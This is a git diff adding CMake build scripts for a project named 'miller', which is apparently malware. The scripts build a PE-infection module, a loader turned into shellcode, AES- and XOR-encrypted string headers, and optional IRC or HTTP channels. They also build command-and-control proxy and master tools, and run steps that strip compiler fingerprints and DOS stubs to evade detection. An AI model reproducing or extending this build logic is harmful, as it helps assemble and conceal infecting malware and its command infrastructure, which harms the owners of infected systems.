aboutsummaryrefslogtreecommitdiff
path: root/cmake
diff options
context:
space:
mode:
Diffstat (limited to 'cmake')
-rw-r--r--cmake/CMakeBuildDeps.cmake8
-rw-r--r--cmake/CMakeMillerBuild.cmake127
-rw-r--r--cmake/CMakeMillerFuncs.cmake85
-rw-r--r--cmake/CMakeMillerHostTools.cmake119
-rw-r--r--cmake/CMakeMillerTests.cmake28
-rw-r--r--cmake/CMakeMillerTools.cmake136
-rw-r--r--cmake/CheckCSourceCompiles.cmake133
7 files changed, 636 insertions, 0 deletions
diff --git a/cmake/CMakeBuildDeps.cmake b/cmake/CMakeBuildDeps.cmake
new file mode 100644
index 0000000..632e9cc
--- /dev/null
+++ b/cmake/CMakeBuildDeps.cmake
@@ -0,0 +1,8 @@
+set(DEPS_BUILDSTAMP deps/sysroot/.stamp_build)
+
+add_custom_command(OUTPUT ${DEPS_BUILDSTAMP}
+ COMMAND ./deps/makedeps.sh && touch ${DEPS_BUILDSTAMP}
+)
+add_custom_target(deps
+ DEPENDS ${DEPS_BUILDSTAMP}
+)
diff --git a/cmake/CMakeMillerBuild.cmake b/cmake/CMakeMillerBuild.cmake
new file mode 100644
index 0000000..0fc900c
--- /dev/null
+++ b/cmake/CMakeMillerBuild.cmake
@@ -0,0 +1,127 @@
+set(MILLER_SRC snprintf.c aes.c crypt.c crypt_strings.c compat.c file.c math.c pe_infect.c utils.c disasm.c patch.c main.c CACHE INTERNAL "" FORCE)
+set(MILLER_HDR snprintf.h aes.h crypt.h crypt_strings.h compat.h file.h math.h pe_infect.h utils.h disasm.h patch.h CACHE INTERNAL "" FORCE)
+if (ENABLE_IRC)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_ENABLE_IRC=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_DEFS ${MILLER_DEFS} "_ENABLE_IRC=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_SRC ${MILLER_SRC} irc.c CACHE INTERNAL "" FORCE)
+ set(MILLER_HDR ${MILLER_HDR} irc.h CACHE INTERNAL "" FORCE)
+else()
+ set(MILLER_SRC ${MILLER_SRC} http.c CACHE INTERNAL "" FORCE)
+ set(MILLER_HDR ${MILLER_HDR} http.h CACHE INTERNAL "" FORCE)
+endif()
+if (HTTP_LOCALHOST)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_HTTP_LOCALHOST=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_DEFS ${MILLER_DEFS} "_HTTP_LOCALHOST=1" CACHE INTERNAL "" FORCE)
+endif()
+if (INFECT_DUMMY)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_INFECT_DUMMY=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_DEFS ${MILLER_DEFS} "_INFECT_DUMMY=1" CACHE INTERNAL "" FORCE)
+endif()
+if (EXTRA_VERBOSE)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_EXTRA_VERBOSE=1" CACHE INTERNAL "" FORCE)
+endif()
+
+PrefixPath(MILLER_SRC source ${MILLER_SRC})
+PrefixPath(MILLER_HDR include ${MILLER_HDR})
+
+set(CRT_X86 crt_x86 CACHE INTERNAL "" FORCE)
+set(CRT_X86_SRC ${CRT_X86}.asm; CACHE INTERNAL "" FORCE)
+PrefixPath(CRT_X86_SRC source ${CRT_X86_SRC})
+
+set(LOADER_X86_SRC ${LOADER_X86}.asm CACHE INTERNAL "" FORCE)
+PrefixPath(LOADER_X86_SRC source ${LOADER_X86_SRC})
+
+set(DECRYPTER_X86_SRC ${DECRYPTER_X86}.asm CACHE INTERNAL "" FORCE)
+PrefixPath(DECRYPTER_X86_SRC source ${DECRYPTER_X86_SRC})
+
+set(DISTORM_SRCDIR "source/distorm" CACHE INTERNAL "" FORCE)
+set(DISTORM_PRE_DEFS CACHE INTERNAL "" FORCE)
+set(DISTORM_DEFS ${DISTORM_PRE_DEFS} DISTORM_LIGHT=1 CACHE INTERNAL "" FORCE)
+set(DISTORM_SRC decoder.c distorm.c instructions.c insts.c mnemonics.c operands.c prefix.c CACHE INTERNAL "" FORCE)
+set(DISTORM_PRE_SRC ${DISTORM_SRC} wstring.c textdefs.c CACHE INTERNAL "" FORCE)
+PrefixPath(DISTORM_SRC ${DISTORM_SRCDIR} ${DISTORM_SRC})
+PrefixPath(DISTORM_PRE_SRC ${DISTORM_SRCDIR} ${DISTORM_PRE_SRC})
+
+include_directories(AFTER ${MILLER_HDRDIR})
+include_directories(AFTER ${DISTORM_SRCDIR})
+
+# miller minimal CRTi
+add_library(${CRT_X86} ${CRT_X86_SRC})
+set_target_properties(${CRT_X86} PROPERTIES COMPILE_FLAGS "-O0")
+
+# miller dll32 loader (final version, no debug, no pe32 support)
+add_library(${LOADER_X86} ${LOADER_X86_SRC})
+set_target_properties(${LOADER_X86} PROPERTIES COMPILE_FLAGS "-D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0")
+# miller dll32 loader (debug, pe32 support)
+add_library(${LOADER_X86}_debug ${LOADER_X86_SRC})
+set_target_properties(${LOADER_X86}_debug PROPERTIES COMPILE_FLAGS "-D_DEBUG=1 -D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0")
+# miller dll32 decrypter (debug, decrypter.exe)
+add_library(${DECRYPTER_X86} ${DECRYPTER_X86_SRC})
+set_target_properties(${DECRYPTER_X86} PROPERTIES COMPILE_FLAGS "-D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0")
+
+# miller release build (DYNAMIC LINKED RELOCATEABLE)
+add_library(${PROJECT_NAME}-shared SHARED ${MILLER_HDR} ${MILLER_SRC})
+add_dependencies(${PROJECT_NAME}-shared ${CRT_X86} loader_gen hdrcrypt cryptout_aes cryptout_xor)
+target_link_libraries(${PROJECT_NAME}-shared distorm ${CRT_X86})
+
+# miller release (c|ld)flags
+target_include_directories(${PROJECT_NAME}-shared PRIVATE ${MILLER_HDRDIR_CREATED})
+target_compile_definitions(${PROJECT_NAME}-shared PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS})
+set_target_properties(${PROJECT_NAME}-shared PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(${PROJECT_NAME}-shared PROPERTIES LINK_FLAGS "${default_ldflags} -v -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}-shared.map -Wl,--image-base,${MILLER_IMAGEBASE}")
+
+# miller pre-release build
+add_library(${PROJECT_NAME}_pre-shared SHARED ${MILLER_HDR} ${MILLER_SRC})
+add_dependencies(${PROJECT_NAME}_pre-shared ${CRT_X86} loader_gen hdrcrypt cryptout_aes cryptout_xor)
+target_link_libraries(${PROJECT_NAME}_pre-shared distorm_pre ${CRT_X86})
+
+# miller pre-release (c|ld)flags
+target_include_directories(${PROJECT_NAME}_pre-shared PRIVATE ${MILLER_HDRDIR_CREATED})
+target_compile_definitions(${PROJECT_NAME}_pre-shared PRIVATE ${DISTORM_PRE_DEFS} ${MILLER_PRE_DEFS} ${LOADERBASE_DEFS})
+set_target_properties(${PROJECT_NAME}_pre-shared PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(${PROJECT_NAME}_pre-shared PROPERTIES LINK_FLAGS "${default_ldflags} -v -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre-shared.map -Wl,--image-base,${MILLER_IMAGEBASE}")
+
+# run some python scripts to remove binutils/gcc/mingw fingerprints
+RemoveGCCFingerprintFromObj(${PROJECT_NAME}-shared ${MILLER_SRC})
+RemoveFingerprints(${PROJECT_NAME}-shared)
+RemoveGCCFingerprintFromObj(${PROJECT_NAME}_pre-shared ${MILLER_SRC})
+RemoveFingerprints(${PROJECT_NAME}_pre-shared)
+
+CreateBinary(${PROJECT_NAME}-shared ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin)
+CreateBinary(${PROJECT_NAME}_pre-shared ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin)
+add_dependencies(${PROJECT_NAME}-shared_bin ${PROJECT_NAME}-shared_no-fingerprints)
+add_dependencies(${PROJECT_NAME}_pre-shared_bin ${PROJECT_NAME}_pre-shared_no-fingerprints)
+
+install(FILES ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin DESTINATION ${INSTALL_DEST})
+
+add_custom_command(TARGET ${PROJECT_NAME}-shared
+ PRE_BUILD
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Creating symlink: ${CMAKE_RUNTIME_OUTPUT_DIRECTORY} to ${CMAKE_CURRENT_SOURCE_DIR}/bin"
+ COMMAND test -e "${CMAKE_CURRENT_SOURCE_DIR}/bin" || ${CMAKE_COMMAND} -E create_symlink "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}" "${CMAKE_CURRENT_SOURCE_DIR}/bin"
+)
+
+add_custom_command(OUTPUT ${LOADER_HEADER_STAMP} ${LOADER_HEADER}
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "genShellcode.py: ${LOADER_HEADER}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/genShellcode.py --section="${LOADER_SECTION}" --binary="$<TARGET_FILE:${LOADER_X86}>" --define-prefix="LOADER_SHELLCODE" --file="${LOADER_HEADER}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/genShellcode.py --section="${LOADER_SECTION}" --binary="$<TARGET_FILE:${LOADER_X86}_debug>" --define-prefix="LOADER_SHELLCODE_DEBUG" --file="${LOADER_HEADER}"
+ COMMAND ${CMAKE_COMMAND} -E touch ${LOADER_HEADER_STAMP}
+)
+add_custom_target(loader_gen
+ DEPENDS ${LOADER_X86} ${LOADER_X86}_debug ${LOADER_HEADER_STAMP} ${LOADER_HEADER}
+)
+
+add_library(distorm ${DISTORM_SRC})
+set_target_properties(distorm PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(distorm PROPERTIES LINK_FLAGS "${default_ldflags}")
+target_compile_definitions(distorm PRIVATE ${DISTORM_DEFS})
+# remove gcc fingerprint from distorm
+RemoveGCCFingerprintFromObj(distorm ${DISTORM_SRC})
+
+add_library(distorm_pre ${DISTORM_PRE_SRC})
+set_target_properties(distorm_pre PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(distorm_pre PROPERTIES LINK_FLAGS "${default_ldflags}")
+target_compile_definitions(distorm_pre PRIVATE ${DISTORM_PRE_DEFS})
+# remove gcc fingerprint from distorm_pre
+RemoveGCCFingerprintFromObj(distorm_pre ${DISTORM_PRE_SRC})
+
+install(TARGETS ${PROJECT_NAME}-shared ${PROJECT_NAME}_pre-shared RUNTIME DESTINATION ${INSTALL_DEST})
diff --git a/cmake/CMakeMillerFuncs.cmake b/cmake/CMakeMillerFuncs.cmake
new file mode 100644
index 0000000..a919904
--- /dev/null
+++ b/cmake/CMakeMillerFuncs.cmake
@@ -0,0 +1,85 @@
+function(GetMillerSectionFromInclude destfile definition out)
+
+set(tmp "")
+execute_process(COMMAND ${CMAKE_SOURCE_DIR}/batch/millerSectionFromInclude.sh ${destfile} ${definition} OUTPUT_VARIABLE tmp)
+if (tmp STREQUAL "")
+ unset(${out})
+else()
+ set(${out} "${tmp}" PARENT_SCOPE)
+endif()
+
+endfunction()
+
+
+function(RemoveGCCFingerprintFromObj targetname)
+
+ foreach(f ${ARGN})
+ add_custom_command(TARGET ${targetname} PRE_LINK
+ COMMAND ${CMAKE_OBJCOPY} -R '.rdata$$zzz' "${CMAKE_CURRENT_BINARY_DIR}/CMakeFiles/${targetname}.dir/${f}.obj"
+ DEPENDS ${targetname}
+ )
+ endforeach(f)
+
+endfunction()
+
+
+function(RemoveFingerprints targetname)
+
+set(tmp_stmp "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/.${targetname}_no-fingerprints")
+add_custom_command(OUTPUT ${tmp_stmp}
+ # .edata && .idata is elementary for windows' LoadLibrary(...) func :/
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "RemoveFingerprints for ${targetname}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeGccVersion.py "$<TARGET_FILE:${targetname}>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/nullDataDirs.py "$<TARGET_FILE:${targetname}>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeDosStub.py "$<TARGET_FILE:${targetname}>"
+ COMMAND ${CMAKE_COMMAND} -E touch ${tmp_stmp}
+ DEPENDS ${targetname}
+)
+add_custom_target(${targetname}_no-fingerprints ALL DEPENDS ${targetname} ${tmp_stmp})
+
+endfunction()
+
+
+function(CreateBinary targetname outfile)
+
+set(tmp_stmp "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/.${targetname}_bin-build")
+add_custom_command(OUTPUT ${outfile} ${tmp_stmp}
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "CreateBinary: ${outfile}"
+ COMMAND ${CMAKE_COMMAND} -E remove ${tmp_stmp}
+ COMMAND ${CMAKE_COMMAND} -E copy "$<TARGET_FILE:${targetname}>" "${outfile}"
+ COMMAND ${CMAKE_STRIP} -R .edata "${outfile}" || true
+ COMMAND ${CMAKE_STRIP} -R .idata "${outfile}" || true
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeGccVersion.py "${outfile}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/nullDataDirs.py "${outfile}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeDosStub.py "${outfile}"
+ COMMAND chmod -x "${outfile}"
+ COMMAND ${CMAKE_COMMAND} -E touch ${tmp_stmp}
+ DEPENDS ${targetname}
+)
+add_custom_target(${targetname}_bin ALL DEPENDS ${targetname} ${outfile} ${tmp_stmp})
+
+endfunction()
+
+
+function(PrefixPath var prefix)
+
+ set(listVar "")
+ foreach(f ${ARGN})
+ list(APPEND listVar "${prefix}/${f}")
+ endforeach(f)
+ set(${var} "${listVar}" PARENT_SCOPE)
+
+endfunction()
+
+
+include(CheckCSourceCompiles)
+
+function(CompileCSource source result cflags defs incl libs quiet)
+ set(CMAKE_REQUIRED_FLAGS ${cflags})
+ set(CMAKE_REQUIRED_DEFINITIONS ${defs})
+ set(CMAKE_REQUIRED_INCLUDES ${incl})
+ set(CMAKE_REQUIRED_LIBRARIES ${libs})
+ set(CMAKE_REQUIRED_QUIET ${quiet})
+ CHECK_C_SOURCE_COMPILES("${source}" ${result})
+endfunction()
+
diff --git a/cmake/CMakeMillerHostTools.cmake b/cmake/CMakeMillerHostTools.cmake
new file mode 100644
index 0000000..8a06cb0
--- /dev/null
+++ b/cmake/CMakeMillerHostTools.cmake
@@ -0,0 +1,119 @@
+set(TOOLS_DIR tools)
+set(HOST_TOOLS_SRCDIR ${TOOLS_DIR}/host)
+set(HOST_TOOLS_BUILDDIR ${CMAKE_CURRENT_BINARY_DIR}/host-tools)
+set(HOST_TOOLS_MK ${HOST_TOOLS_BUILDDIR}/Makefile)
+set(HOST_TOOLS_MKSTAMP ${STAMP_DIR}/.host-tools-build)
+set(HOST_TOOLS_SRCGOAPPS ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}/go)
+set(HOST_TOOLS_CNCPROXY ${HOST_TOOLS_SRCGOAPPS}/cncproxy)
+set(HOST_TOOLS_CNCMASTER ${HOST_TOOLS_SRCGOAPPS}/cncmaster)
+
+set(CMAKE_ASM_NASM_OBJECT_FORMAT "win32")
+set(CMAKE_ASM_NASM_COMPILER_ARG1 "-I${MILLER_SRCDIR}")
+set(ASM_DIALECT "-NASM")
+set(CMAKE_ASM${ASM_DIALECT}_SOURCE_FILE_EXTENSIONS nasm;asm)
+enable_language(ASM_NASM)
+
+set(CRYPT_FILEDIR ${MILLER_HDRDIR})
+set(CRYPT_AESFILE ${CRYPT_FILEDIR}/aes_strings.h)
+set(CRYPT_AESOUT ${MILLER_HDRDIR_CREATED}/aes_strings_gen.h)
+set(CRYPT_AESOUT_STAMP ${STAMP_DIR}/.aes-strings-header-build)
+set(CRYPT_XORFILE ${CRYPT_FILEDIR}/xor_strings.h)
+set(CRYPT_XOROUT ${MILLER_HDRDIR_CREATED}/xor_strings_gen.h)
+set(CRYPT_XOROUT_STAMP ${STAMP_DIR}/.xor-strings-header-build)
+
+set(CRYPT_NAME hdr_crypt-host)
+set(CRYPT_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CRYPT_NAME})
+
+set(PYLOAD_NAME pyloader)
+set(PYLOAD_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYLOAD_NAME})
+
+set(PYCRYPT_NAME pycrypt)
+set(PYCRYPT_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYCRYPT_NAME})
+
+set(STRINGS_NAME strings-host)
+set(STRINGS_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${STRINGS_NAME})
+
+set(CNCPROXY_NAME cncproxy-host)
+set(CNCPROXY_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCPROXY_NAME})
+
+set(CNCMASTER_NAME cncmaster-host)
+set(CNCMASTER_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCMASTER_NAME})
+
+
+# BUILD HOST TOOLS (hdr_crypt, file_crypt)
+add_custom_command(OUTPUT ${HOST_TOOLS_MK} ${HOST_TOOLS_MKSTAMP}
+ COMMAND ${CMAKE_COMMAND} -E make_directory ${HOST_TOOLS_BUILDDIR}
+ COMMAND ${CMAKE_COMMAND} -E chdir ${HOST_TOOLS_BUILDDIR} ${CMAKE_COMMAND} -DMILLER_SRCDIR=${MILLER_SRCDIR} -DMILLER_HDRDIR=${MILLER_HDRDIR} -DMILLER_HDRDIR_CREATED=${MILLER_HDRDIR_CREATED} -DMILLER_TOOLSDIR=${MILLER_SRCDIR}/${TOOLS_DIR} -DPYTHON_INCDIR=${PYTHON_INCDIR} -DLOADER_ENDMARKER=${LOADER_ENDMARKER} -DINSTALL_DEST=${CMAKE_RUNTIME_OUTPUT_DIRECTORY} ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}
+ COMMAND ${CMAKE_COMMAND} -E remove ${CRYPT_EXEC} ${PYLOAD_SO} ${PYCRYPT_SO} ${STRINGS_EXEC}
+ COMMAND ${CMAKE_COMMAND} -E touch ${HOST_TOOLS_MKSTAMP}
+)
+add_custom_command(OUTPUT ${CRYPT_EXEC} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${CRYPT_NAME}-install
+)
+add_custom_command(OUTPUT ${PYLOAD_SO} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYLOAD_NAME}-install
+)
+add_custom_command(OUTPUT ${PYCRYPT_SO} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYCRYPT_NAME}-install
+)
+add_custom_command(OUTPUT ${PYHTTP_SO} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYHTTP_NAME}-install
+)
+add_custom_command(OUTPUT ${STRINGS_EXEC} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${STRINGS_NAME}-install
+)
+
+add_custom_target(host-tools
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP}
+)
+add_custom_target(hdrcrypt
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${CRYPT_EXEC}
+)
+add_custom_target(pyloader
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYLOAD_SO}
+)
+add_custom_target(pycrypt
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYCRYPT_SO}
+)
+add_custom_target(strings
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${STRINGS_EXEC}
+)
+
+if (BUILD_CNCPROXY)
+add_custom_target(
+ cncproxy
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC proxy"
+ COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCPROXY_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR}
+ WORKING_DIRECTORY ${HOST_TOOLS_CNCPROXY}
+)
+else()
+add_custom_target(
+ cncproxy
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC proxy: disabled"
+)
+endif()
+
+if (BUILD_CNCMASTER)
+add_custom_target(
+ cncmaster
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC master"
+ COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCMASTER_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR}
+ WORKING_DIRECTORY ${HOST_TOOLS_CNCMASTER}
+)
+else()
+add_custom_target(
+ cncmaster
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC master: disabled"
+)
+endif()
+
+add_dependencies(strings pycrypt cryptout_xor)
+add_dependencies(pycrypt pyloader)
+add_dependencies(pyloader hdrcrypt)
+add_dependencies(hdrcrypt cncmaster)
+add_dependencies(cncmaster cncproxy host-tools)
diff --git a/cmake/CMakeMillerTests.cmake b/cmake/CMakeMillerTests.cmake
new file mode 100644
index 0000000..8a40530
--- /dev/null
+++ b/cmake/CMakeMillerTests.cmake
@@ -0,0 +1,28 @@
+set(tests_cflags "-Wall -Wextra -Werror -Wno-cast-function-type -Wno-switch -std=gnu99 -ffast-math -fno-trapping-math -fno-signaling-nans -fvisibility=hidden -fomit-frame-pointer -fexpensive-optimizations -Os -static -fdata-sections -ffunction-sections")
+set(tests_ldflags "-s -Wl,--exclude-all-symbols -Wl,--exclude-libs,msvcrt.a -Wl,--gc-sections -Wl,--strip-all -Qn -v -fPIE")
+
+set(TESTS_SRC run_tests.c test_compat.c test_mem.c test_pe.c test_utils.c test_asm.c test_aes.c test_crypt.c test_http.c)
+set(TESTS_MILLER_SRC crypt_strings.c snprintf.c compat.c math.c utils.c aes.c crypt.c file.c pe_infect.c patch.c disasm.c http.c)
+PrefixPath(TESTS_SRC source/tests ${TESTS_SRC})
+PrefixPath(TESTS_MILLER_SRC ${MILLER_SRCDIR} ${TESTS_MILLER_SRC})
+
+if (BUILD_TESTS)
+ add_executable(tests ${TESTS_MILLER_SRC} ${TESTS_SRC})
+ add_dependencies(tests cryptout_xor cryptout_aes loader_gen)
+ set_target_properties(tests PROPERTIES COMPILE_FLAGS "${tests_cflags}")
+ set_target_properties(tests PROPERTIES LINK_FLAGS "${tests_ldflags} -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}-tests.map")
+ target_link_libraries(tests distorm_pre)
+ target_include_directories(tests PRIVATE ${MILLER_HDRDIR_CREATED})
+ target_compile_definitions(tests PRIVATE _GNU_SOURCE=1 _RUN_TESTS=1 ${DISTORM_PRE_DEFS} ${LOADERBASE_DEFS})
+ install(TARGETS tests RUNTIME DESTINATION ${INSTALL_DEST})
+ add_custom_target(check DEPENDS tests)
+ add_custom_command(TARGET check POST_BUILD
+ COMMAND wine ${CMAKE_BINARY_DIR}/bin/tests.exe
+ )
+else()
+ add_custom_target(check)
+ add_custom_command(TARGET check POST_BUILD
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "${CMAKE_COMMAND}: make check requires a build with -DBUILD_TESTS enabled"
+ COMMAND false
+ )
+endif()
diff --git a/cmake/CMakeMillerTools.cmake b/cmake/CMakeMillerTools.cmake
new file mode 100644
index 0000000..107a505
--- /dev/null
+++ b/cmake/CMakeMillerTools.cmake
@@ -0,0 +1,136 @@
+# CREATE HEADER FILES (using host tools)
+add_custom_command(OUTPUT ${CRYPT_AESOUT_STAMP} ${CRYPT_AESOUT} ${LOADER_CRYPT_STAMP} ${LOADER_CRYPT}
+ COMMAND ${CRYPT_EXEC} aes ${CRYPT_AESFILE} ${CRYPT_AESOUT} AES_KEY
+ COMMAND ${CRYPT_EXEC} aes ${LOADER_HEADER} ${LOADER_CRYPT} LDR_KEY
+ COMMAND ${CMAKE_COMMAND} -E touch ${CRYPT_AESOUT_STAMP} ${LOADER_CRYPT_STAMP}
+)
+add_custom_command(OUTPUT ${CRYPT_XOROUT_STAMP} ${CRYPT_XOROUT}
+ COMMAND ${CRYPT_EXEC} xor ${CRYPT_XORFILE} ${CRYPT_XOROUT} XOR_KEY
+ COMMAND ${CMAKE_COMMAND} -E touch ${CRYPT_XOROUT_STAMP}
+)
+add_custom_target(cryptout_aes
+ DEPENDS hdrcrypt loader_gen ${LOADER_HEADER} ${CRYPT_AESFILE} ${LOADER_CRYPT_STAMP} ${LOADER_CRYPT} ${CRYPT_AESOUT_STAMP} ${CRYPT_AESOUT}
+)
+add_custom_target(cryptout_xor
+ DEPENDS hdrcrypt ${CRYPT_XORFILE} ${CRYPT_XOROUT_STAMP} ${CRYPT_XOROUT}
+)
+set_source_files_properties(${CRYPT_XOROUT} PROPERTIES GENERATED 1)
+set_source_files_properties(${CRYPT_AESOUT} PROPERTIES GENERATED 1)
+set_source_files_properties(${LOADER_CRYPT} PROPERTIES GENERATED 1)
+
+# BUILD TARGET TOOLS
+add_executable(dummy ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy.c)
+set_target_properties(dummy PROPERTIES COMPILE_FLAGS "-s")
+add_custom_command(TARGET dummy POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:dummy>"
+)
+
+set(DUMMY_GUI_DIR ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy_gui)
+add_executable(dummy_gui ${DUMMY_GUI_DIR}/callbacks.c ${DUMMY_GUI_DIR}/res/resource.rc ${DUMMY_GUI_DIR}/winmain.c)
+set_target_properties(dummy_gui PROPERTIES COMPILE_FLAGS "-O3")
+set_target_properties(dummy_gui PROPERTIES LINK_FLAGS "-s -Wl,--subsystem,windows")
+target_compile_definitions(dummy_gui PRIVATE UNICODE=1 _UNICODE=1 _WIN32_IE=0x0500 WINVER=0x500)
+target_link_libraries(dummy_gui comctl32)
+target_include_directories(dummy_gui PRIVATE ${DUMMY_GUI_DIR})
+
+add_library(dummydll SHARED ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy.c)
+
+add_executable(loader_base ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c)
+add_dependencies(loader_base ${PROJECT_NAME}_pre-shared ${PROJECT_NAME}_pre-shared_bin)
+set_target_properties(loader_base PROPERTIES COMPILE_FLAGS "-s -O0")
+target_compile_definitions(loader_base PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1)
+target_link_libraries(loader_base ${LOADER_X86}_debug)
+
+add_executable(loader_base_enc ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c)
+add_dependencies(loader_base_enc ${PROJECT_NAME}_pre-shared ${PROJECT_NAME}_pre-shared_bin)
+set_target_properties(loader_base_enc PROPERTIES COMPILE_FLAGS "-s -O0")
+target_compile_definitions(loader_base_enc PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1)
+target_link_libraries(loader_base_enc ${LOADER_X86}_debug)
+
+add_executable(release ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c)
+add_dependencies(release ${PROJECT_NAME}-shared)
+set_target_properties(release PROPERTIES COMPILE_FLAGS "-s -O0")
+target_compile_definitions(release PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1)
+target_link_libraries(release ${LOADER_X86})
+
+if (BUILD_ALL_TOOLS)
+ add_executable(decrypter ${MILLER_SRCDIR}/${TOOLS_DIR}/helper.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/${TOOLS_DIR}/decrypter.c)
+ set_target_properties(decrypter PROPERTIES COMPILE_FLAGS "-s -O0")
+ target_compile_definitions(decrypter PRIVATE _NO_COMPAT=1 ${LOADERBASE_DEFS} _DEBUG=1)
+ target_link_libraries(decrypter ${DECRYPTER_X86})
+
+ add_executable(disasm ${MILLER_SRCDIR}/disasm.c ${MILLER_SRCDIR}/${TOOLS_DIR}/disasm.c)
+ set_target_properties(disasm PROPERTIES COMPILE_FLAGS "${default_cflags}")
+ target_link_libraries(disasm distorm_pre)
+
+ add_executable(loader_decrypt ${MILLER_SRCDIR}/aes.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/${TOOLS_DIR}/helper.c ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_decrypt.c)
+ add_dependencies(loader_decrypt loader_gen cryptout_aes)
+ set_target_properties(loader_decrypt PROPERTIES COMPILE_FLAGS "")
+ target_include_directories(loader_decrypt PRIVATE ${MILLER_HDRDIR_CREATED})
